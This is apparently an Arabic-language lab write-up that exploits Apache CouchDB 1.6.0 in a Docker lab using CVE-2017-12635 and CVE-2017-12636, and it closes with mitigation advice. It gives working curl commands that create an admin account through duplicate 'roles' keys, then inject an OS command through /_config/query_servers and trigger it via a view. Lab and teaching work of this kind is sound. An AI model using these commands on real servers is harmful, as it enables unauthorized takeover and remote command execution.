Lab7-CVE-2017-12635-12636

أولاً: تحليل النظام

تحديد سطح الهجوم

نبدأ بما هو قيد التشغيل في البيئة. أقوم بسرد جميع الحاويات النشطة:

docker ps

الضحية تعرض منفذًا واحدًا: 5984

⇒ أستخدم curl مباشرة عليه لاستكشاف مزيد من المعلومات:

curl -i http://192.168.3.137:5984/

تحليل الاستجابة:

الاستجابة: HTTP/1.1 200 OK، مما يثبت أن الخدمة على المنفذ 5984 نشطة ويمكن الوصول إليها مباشرة عبر HTTP.

ترويسة الخادم: CouchDB/1.6.0 (Erlang OTP/17) ونص JSON الذي يحتوي على "version":"1.6.0" يؤكدان أن هذا هو Apache CouchDB الإصدار 1.6.0.

تقييم سطح الهجوم:

خدمة CouchDB مكشوفة خارجيًا عبر المنفذ 5984. هذا هو المنفذ الافتراضي لواجهة CouchDB HTTP API، مما يسمح بالتفاعل مع قاعدة البيانات عبر REST API.

الإصدار CouchDB 1.6.0 هو إصدار قديم، يسبق التصحيح 1.7.1. وفقًا لتوثيق Apache، تتأثر إصدارات CouchDB في هذا النطاق بما يلي:

• CVE-2017-12635: تصعيد الامتيازات عن بُعد بسبب المعالجة غير المتسقة لمفاتيح roles المكررة في JSON.
• CVE-2017-12636: تنفيذ الأكواد عن بُعد حيث يمكن لمستخدم إداري تعديل إعدادات الخادم عبر HTTP API.

=> تفكير: من الاستجابة التي تم الحصول عليها، توجد أدلة كافية لتحديد أن الضحية تشغّل Apache CouchDB 1.6.0 على المنفذ 5984. هذا إصدار قديم مرتبط بسلسلة استغلال CVE-2017-12635 وCVE-2017-12636. لذلك، فإن مسار الاستغلال المنطقي هو اختبار حالة المصادقة أولاً، ثم تقييم إمكانية تصعيد الامتيازات أو تنفيذ الأوامر عبر واجهة CouchDB HTTP API.

ثانيًا: اختبار حالة المصادقة (CVE-2017-12635)

CVE-2017-12635 يستغل التناقض بين محللي JSON في CouchDB. عند إرسال مستند مستخدم إلى /_users مع مفتاحَي roles مكررين، يستخدم CouchDB مفتاح roles الثاني للتحقق من صلاحيات الكتابة للمستند، لكنه يستخدم مفتاح roles الأول للصلاحيات الفعلية للمستخدم بعد الإنشاء. وبالتالي، يضبط المهاجم أول roles على ["_admin"] والثاني على [] لتجاوز فحص التحقق، مما يؤدي إلى إنشاء مستخدم بصلاحيات إدارية.

وفقًا لتوثيق CouchDB، يخزن CouchDB معلومات المستخدمين في قاعدة بيانات خاصة باسم _users، حيث يكون لكل مستند مستخدم معرّف بتنسيق org.couchdb.user:<username>. نظرًا لأننا بحاجة إلى إنشاء مستخدم باسم hacker، فإن نقطة النهاية المستخدمة هي /_users/org.couchdb.user:hacker. أقوم بإنشاء مستخدم جديد ومنحه صلاحيات إدارية لمعرفة كيف يستجيب الخادم.

curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'

الاستجابة المرتجعة هي true، مما يثبت أن المستخدم أُنشئ بنجاح. أقوم بفحص تحقق باستخدام بيانات اعتماد admin المنشأة حديثًا: curl -u hacker:password123 http://192.168.3.137:5984/_users. نقطة النهاية /_users هي قاعدة بيانات نظامية، لا يمكن لغير المسؤولين قراءة بياناتها الوصفية افتراضيًا. إذا طلبها مستخدم عادي → 403 Forbidden. تؤكد استجابة 200 OK مع معلومات قاعدة البيانات الكاملة أن حساب hacker يمتلك بالفعل صلاحيات _admin. وهذا يتطابق تمامًا مع فرضية CVE-2017-12635 على Apache CouchDB 1.6.0.

الملخص:

لقد تحققت بنجاح من CVE-2017-12635 على Apache CouchDB 1.6.0. في البداية، أظهر المنفذ 5984 فقط أن واجهة CouchDB HTTP API مكشوفة. بعد تحديد بصمة الخادم عبر curl، أكدت الاستجابة أن الخدمة هي CouchDB 1.6.0، وهو إصدار ضمن نطاق ثغرة CVE-2017-12635.

بدلاً من الاستنتاج الفوري بإمكانية تنفيذ الأكواد عن بُعد (RCE)، تحققت من تدفق المصادقة خطوة بخطوة أولاً. من خلال إرسال مستند مستخدم إلى /_users مع مفتاحَي roles مكررين، نجحت الحمولة في إنشاء المستخدم hacker. بعد ذلك، أعاد الطلب إلى /_users عبر curl -u hacker:password123 استجابة 200 OK مع تفاصيل قاعدة بيانات النظام، مما يثبت أن المستخدم hacker يمتلك فعليًا صلاحيات _admin.

وبالتالي، بمجرد الحصول على صلاحيات إدارة CouchDB، يتوسع سطح الهجوم إلى CVE-2017-12636، حيث يمكن للمسؤولين تعديل إعدادات CouchDB عبر HTTP API. وهذا يشكل المتطلب الأساسي لمزيد من تقييم قدرات تنفيذ الأكواد عن بُعد على الخادم.

⇒ تفكير: استخدام صلاحيات الإدارة المكتسبة حديثًا لاختبار تنفيذ الأوامر على مستوى نظام التشغيل.

ثالثًا: من صلاحيات إدارة CouchDB إلى تنفيذ الأكواد عن بُعد (CVE-2017-12636)

وفقًا لتوثيق Apache CouchDB، فإن خادم الاستعلامات (Query Server) هو عملية خارجية يستخدمها CouchDB لمعالجة دوال التصميم (design functions)، مثل عرض JavaScript في آلية MapReduce. عندما يصرّح مستند تصميم بحقل "language"، يعتمد CouchDB على هذه القيمة للبحث عن خادم الاستعلامات المقابل في إعداد query_servers.

إذا كان مستند التصميم يحتوي على "language": "javascript"، يستعلم CouchDB عن إعداد query_servers.javascript لتحديد العملية التي يجب تشغيلها للتعامل مع دالة map/reduce. هذا تصميم شرعي في CouchDB، لأن نواة CouchDB لا تنفذ جميع أكواد العروض مباشرة داخل محرك قاعدة البيانات.

⇒ المشكلة في CVE-2017-12636 تكمن في قدرة مسؤول CouchDB على تعديل إعدادات الخادم عبر HTTP API. تتضمن بعض هذه الإعدادات مسارات لملفات ثنائية أو عمليات على مستوى نظام التشغيل سيقوم CouchDB بتشغيلها. لذلك، بعد الحصول على صلاحيات الإدارة من CVE-2017-12635، يمكن للمهاجم تعديل query_servers.<language> ليشير إلى أمر نظام تشغيل. عند تشغيل عرض يستخدم اللغة المقابلة، سيقوم CouchDB بتشغيل الأمر، مما يؤدي إلى تنفيذ الأوامر على الخادم.

تدفق الاستغلال:

1. الحصول على صلاحيات إدارة CouchDB عبر CVE-2017-12635.
2. كتابة الإعداد الخبيث إلى query_servers.cmd عبر نقطة النهاية /_config.
3. إنشاء مستند تصميم بـ "language": "cmd".
4. تشغيل العرض.
5. يبحث CouchDB عن query_servers.cmd ويشغّل العملية المكوّنة.
6. يتم تنفيذ أمر نظام التشغيل بصلاحيات عملية CouchDB.

آلية التشغيل

كتابة إعداد query_server خبيث

سجّل "خادم استعلامات" باسم عشوائي، بحيث تكون القيمة هي أمر نظام التشغيل:

curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
  -H "Content-Type: application/json" \
  -d '"id 1>/tmp/pwned 2>&1"'

هذا هو أمر نظام التشغيل الذي ستشغّله عملية CouchDB.

تشغيل التنفيذ — إنشاء قاعدة البيانات والمستند

# Create test database
curl -X PUT http://hacker:[email protected]:5984/rcetest

# Create design document with view using language "cmd"
curl -X PUT http://hacker:[email protected]:5984/rcetest/_design/rce \
  -H "Content-Type: application/json" \
  -d '{
    "language": "cmd",
    "views": {
      "myview": {
        "map": "function(doc){}"
      }
    }
  }'

# Trigger view → CouchDB spawns query server "cmd" → executes OS command
curl http://hacker:[email protected]:5984/rcetest/_design/rce/_view/myview

تدفق التنفيذ:

View query → [HTTP PUT Config] -> [Inject OS command as mock query language]
           → [HTTP PUT Design Doc] -> [Assign handling attribute to the mock query language]
           → [HTTP GET View] -> [Force CouchDB config lookup -> Spawn subprocess executing command]
           → [Read /tmp/pwned] -> [Confirm successful execution privilege (RCE)]

التحقق من RCE:

docker exec project1-lab07-1 cat /tmp/pwned

تفكير: هجوم RCE هذا أعمى/غير متزامن لأن مخرجات الأمر لا تُرجع مباشرة في استجابة HTTP. لذلك، لإثبات تنفيذ الأمر، استخدمت حمولة تولّد تأثيرًا جانبيًا بكتابة مخرجات أمر id إلى ملف /tmp/pwned. عند قراءة ملف /tmp/pwned في الحاوية وملاحظة المخرجات uid=1000(couchdb) gid=999(couchdb)، يمكننا استنتاج أن CouchDB نفّذ أمر نظام التشغيل بنجاح بصلاحيات مستخدم couchdb.

تُظهر النتيجة uid=1000(couchdb) أن الأمر لم يُنفَّذ بصلاحيات الجذر (root)، بل بصلاحيات عملية CouchDB. وهذا يظل كافيًا لإثبات أن CVE-2017-12636 يؤدي إلى تنفيذ الأكواد عن بُعد ضمن حدود صلاحيات الخدمة.

رابعًا: تقييم المخاطر والتوصيات

تقييم المخاطر

يتم تقييم ثغرة عدم اتساق محلل JSON (CVE-2017-12635) مقترنة بحقن خادم الاستعلامات (CVE-2017-12636) على النظام عند أعلى مستوى خطر:

توصيات المعالجة

للتخفيف الشامل من هذه الثغرات، يجب على فريق إدارة النظام تنفيذ الإجراءات التالية (مرتبة حسب الأولوية):

أولوية عاجلة (قصيرة المدى):

1. ترقية Apache CouchDB: قم بالتحديث فورًا إلى إصدار آمن (≥ 1.7.1 أو ≥ 2.1.1، الإصدار الموصى به 3.x). هذا إجراء إلزامي لأن الثغرة تكمن في محرك محلل JSON الأساسي (jiffy) وآلية إعداد خادم الاستعلامات.
2. فرض المصادقة الإلزامية: قم بتكوين require_valid_user = true في ملف الإعداد local.ini لمنع جميع عمليات الوصول المجهولة إلى API. لا تشغّل CouchDB أبدًا في وضع "Admin Party" (حيث لا يوجد مسؤول، مما يجعل الجميع مسؤولين).

أولوية عالية (طويلة المدى والدفاع المتعمق):

1. تقييد الوصول الشبكي إلى المنفذ 5984: قم بتكوين جدار حماية (iptables/firewall) للسماح فقط لعناوين IP موثوقة بالوصول إلى المنفذ 5984. لا ينبغي أبدًا كشف هذا المنفذ للإنترنت العام. إذا كان التطبيق وCouchDB على نفس الجهاز، اربط CouchDB بشكل صارم بـ 127.0.0.1.
2. تعطيل التعديل عبر HTTP API: استخدم config_whitelist في ملف local.ini لتقييد مفاتيح الإعداد التي يمكن تعديلها عبر API، مما يمنع المهاجمين من استغلال نقطة النهاية /_config/query_servers لحقن أوامر نظام التشغيل.
3. تقييد شبكات الحاويات: تجنب وضع الحاوية على شبكة bridge الافتراضية المشتركة إلا عند الضرورة. قم بتكوين قواعد جدار الحماية لمنع الحاوية من بدء اتصالات صادرة (حركة مرور صادرة) إلى الإنترنت لمنع تنفيذ Reverse Shell.